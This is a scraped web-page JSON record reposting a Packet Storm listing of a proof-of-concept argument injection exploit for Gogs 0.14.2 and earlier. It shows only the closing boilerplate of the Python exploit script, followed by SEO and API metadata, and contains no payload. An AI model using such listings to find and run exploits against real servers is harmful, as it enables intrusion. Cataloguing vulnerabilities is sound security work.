print(\\&#8221;[+] Exploit completed successfully\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] Exploit failed\\&#8221;)\\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[*] Interrupted by user\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;[-] Error: {e}\\&#8221;)\\n        finally:\\n            exploit.cleanup()\\n    if __name__ == &#8216;__main__&#8217;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223338&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223338\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:18&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an argument injection vulnerability in Gogs versions 0.14.2 and below and versions 0.15.0+dev and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gogs 0.14.2 Argument Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223338&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n |&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-62296","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=62296\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:18&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an argument injection vulnerability in Gogs versions 0.14.2 and below and versions 0.15.0+dev and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gogs 0.14.2 Argument Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223338&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n |...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=62296\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-12T12:42:30+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"18 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338\",\"datePublished\":\"2026-06-12T12:42:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296\"},\"wordCount\":3504,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62296#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296\",\"name\":\"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-12T12:42:30+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=62296\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=62296#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=62296","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-12T16:32:18&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for an argument injection vulnerability in Gogs versions 0.14.2 and below and versions 0.15.0+dev and below&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gogs 0.14.2 Argument Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223338&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n |...","og_url":"https:\/\/zero.redgem.net\/?p=62296","og_site_name":"zero redgem","article_published_time":"2026-06-12T12:42:30+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"18 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=62296#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=62296"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338","datePublished":"2026-06-12T12:42:30+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=62296"},"wordCount":3504,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=62296#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=62296","url":"https:\/\/zero.redgem.net\/?p=62296","name":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-12T12:42:30+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=62296#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=62296"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=62296#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Gogs 0.14.2 Argument Injection_PACKETSTORM:223338"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62296","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=62296"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/62296\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=62296"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=62296"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=62296"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}